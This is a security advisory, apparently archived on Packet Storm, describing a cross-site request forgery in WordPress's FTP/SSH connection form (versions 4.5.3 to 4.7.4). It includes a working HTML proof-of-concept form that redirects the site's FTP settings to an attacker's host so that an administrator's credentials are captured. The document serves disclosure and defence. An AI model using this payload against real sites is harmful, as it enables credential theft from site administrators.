what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Connection Information Cross Site Request Forgery

WordPress Connection Information Cross Site Request Forgery
Posted Apr 20, 2017
Authored by Yorick Koster, Securify B.V.

The FTP/SSH form functionality of WordPress was found to be vulnerable to cross site request forgery. WordPress versions 4.5.3 through 4.7.4 are affected.

tags | exploit, csrf
SHA-256 | b97c1f2af9252a37cfcaefbd0f9425ff1c4e40ba1332f9a406279cdaac8df4db

WordPress Connection Information Cross Site Request Forgery

Change Mirror Download
------------------------------------------------------------------------
Cross-Site Request Forgery in WordPress Connection Information
------------------------------------------------------------------------
Yorick Koster, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
The FTP/SSH form functionality of WordPress was found to be vulnerable
to Cross-Site Request Forgery. This vulnerability can be used to
overwrite the FTP or SSH connection settings of the affected WordPress
site. An attacker can use this issue to trick an Administrator into
logging into the attacker's FTP or SSH server, disclosing his/her login
credentials to the attacker. In order to exploit this vulnerability, the
attacker has to lure/force a logged on WordPress Administrator into
opening a malicious website.


------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160717-0004

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on the WordPress version 4.5.3 up
till and including version 4.7.4.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_connection_information.html

This issue exists in the method request_filesystem_credentials() (/wp-admin/includes/file.php). It allows overwriting of the values:

- hostname
- username
- connection_type

The request_filesystem_credentials() method is called in various locations in WordPress. The connection information is updated if a POST request contains a password or public & private key value (in case of connection type ssh). In order to trigger this issue, the WordPress installation must not be able to write to the wp-content folder. Also, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/plugins.php" method="POST">
<input type="hidden" name="hostname" value="sumofpwn.nl" />
<input type="hidden" name="connection_type" value="ftp" />
<input type="hidden" name="password" value="password" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close